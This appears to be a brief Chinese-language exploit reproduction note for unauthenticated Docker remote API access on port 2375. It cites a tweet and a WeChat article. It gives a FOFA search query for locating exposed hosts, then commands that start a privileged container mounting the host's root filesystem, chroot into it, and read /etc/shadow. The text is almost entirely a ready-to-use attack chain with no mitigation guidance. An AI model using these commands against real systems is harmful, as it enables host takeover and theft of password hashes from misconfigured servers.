1. 来源
https://twitter.com/ptswarm/status/1338477426276511749
https://mp.weixin.qq.com/s/4ayfBOYJZSoafBPuEQtUBg
2. 复现
2.1 fofa
port=2375 && protocol=="docker"
2.2 手动复现
docker -H <host>:2375 run --rm -it --privileged --net=host -v /:/mnt alpine
chroot /mnt
cat /etc/shadow
